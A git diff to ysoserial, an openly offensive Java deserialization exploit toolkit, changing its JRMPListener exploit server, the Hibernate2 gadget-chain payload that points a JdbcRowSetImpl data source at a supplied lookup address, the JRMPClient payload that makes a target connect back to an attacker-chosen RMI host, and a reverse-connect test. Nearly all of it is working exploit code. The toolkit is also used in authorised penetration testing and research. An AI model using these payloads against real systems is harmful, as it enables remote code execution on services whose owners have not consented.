diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index e5c034c..a77bbbe 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -20,6 +20,7 @@ import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; +import java.util.Arrays; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; @@ -245,18 +246,33 @@ public class JRMPListener implements Runnable { @Override protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } throw new IOException("Not allowed to read object"); } }; + ObjID read; try { - ObjID.read(ois); + read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException("unable to read objID", e); } - System.err.println("Sending return with payload"); + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java index b8c1ae5..ad04c5e 100644 --- a/src/main/java/ysoserial/payloads/Hibernate2.java +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -49,7 +49,7 @@ public class Hibernate2 implements ObjectPayload, DynamicDependencies { public Object getObject ( String command ) throws Exception { JdbcRowSetImpl rs = new JdbcRowSetImpl(); - rs.setDataSourceName("rmi: " + command); + rs.setDataSourceName(command); return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") ); } diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index d39c950..383f1e5 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -64,7 +64,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } - ObjID id = new ObjID(0); // RMI registry + ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); @@ -76,6 +76,7 @@ public class JRMPClient extends PayloadRunner implements ObjectPayload public static void main ( final String[] args ) throws Exception { + Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java index 580d5f0..577a7b3 100644 --- a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest { public String getPayloadArgs () { - return "localhost:" + port; + return "rmi:localhost:" + port; } }